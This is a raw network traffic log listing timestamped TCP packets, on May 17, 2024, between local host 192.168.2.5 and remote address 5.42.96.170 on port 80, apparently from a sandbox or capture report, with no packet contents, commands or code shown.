May 17, 2024 23:45:15.909240007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909248114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909255981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909265041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909275055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909284115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909295082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909303904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909313917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909313917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909313917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909313917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909323931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909332991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909342051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909348965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909359932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909369946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909379005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909388065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909398079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909409046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909418106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909426928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.909457922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909457922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909457922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909457922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910155058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910165071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910172939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910181999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910191059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910201073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910211086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910222054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910231113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910240889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910254002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910254002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910254002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910254002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910268068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910276890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910289049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910295963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910305977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910314083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910322905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910331964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910342932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.910353899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910353899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910353899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910353899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910371065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.910401106 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911027908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911037922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911046028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911056042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911072969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911087990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911150932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911164999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911175013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911185026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911195040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911199093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911210060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911218882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911228895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911238909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911248922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.911267996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911267996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911267996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911267996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.911293983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912014008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912024021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912031889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912041903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912050962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912060976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912071943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912081003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912091017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912110090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912110090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912110090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912110090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912123919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912132025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912139893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912148952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912159920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912170887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912170887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912178040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912185907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912193060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912204027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912213087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912221909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912231922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912231922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912231922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912847996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912858963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912867069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912878036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912888050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912898064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912908077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912908077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912908077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912908077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912919998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912930965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912940025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912949085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912970066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912970066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912970066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912970066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912970066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.912981987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.912992001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913001060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913011074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913019896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913028955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913037062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913047075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913067102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913067102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913067102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913089037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913772106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913781881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913789988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913800001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913809061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913817883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913829088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913837910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913842916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913851023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913851976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913851976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913851976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913857937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913867950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913877010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913886070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913896084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.913912058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913912058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913912058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.913944006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914474964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914484024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914491892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914496899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914505005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914514065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914524078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914534092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914545059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914554119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914566040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914566040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914587021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914597034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914608955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914609909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914618969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914623976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914640903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914645910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914653063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914660931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914665937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914674997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914684057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.914693117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914693117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914693117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914716005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.914716005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915482044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915507078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915515900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915524960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915534973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915545940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915555000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915565968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915575981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915585041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915595055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915622950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915622950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915622950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915622950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915644884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915654898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915663958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915674925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915683985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915690899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915697098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915704012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915714979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915724993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.915740013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915740013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.915785074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916284084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916297913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916323900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916333914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916342020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916351080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916359901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916372061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916382074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916390896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916399956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916399956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916399956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916399956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916412115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916423082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.916497946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916497946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.916497946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917064905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917073965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917087078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917097092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917104959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917114973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917124033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917133093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917143106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917151928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917160034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917160034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917160034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917160988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917176008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917186022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917196035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917205095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917213917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917223930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917237997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917243958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917243958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917243958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917258978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917268991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917277098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917288065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917330027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917330027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917330027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917330027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917854071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917862892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917871952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917880058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917889118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917898893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917911053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917920113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917927980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917937040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917947054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917958975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.917965889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917965889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917965889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917985916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.917990923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918000937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918009996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918019056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918028116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918039083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918049097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918049097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918049097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918049097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918061018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918070078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918078899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918087959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918118954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918118954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918118954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.918941021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918951035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918958902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918968916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918977022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918987036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.918997049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919004917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919054031 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919054031 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919054031 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919140100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919150114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919157982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919167995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919178009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919188976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919198036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919208050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919236898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919236898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919236898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919236898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919296980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919306993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919316053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919325113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919333935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919343948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919354916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919365883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919375896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919385910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919395924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919405937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919415951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919415951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919415951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919415951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919428110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919439077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919464111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919464111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919481039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.919960976 CEST	80	49707	5.42.96.170	192.168.2.5
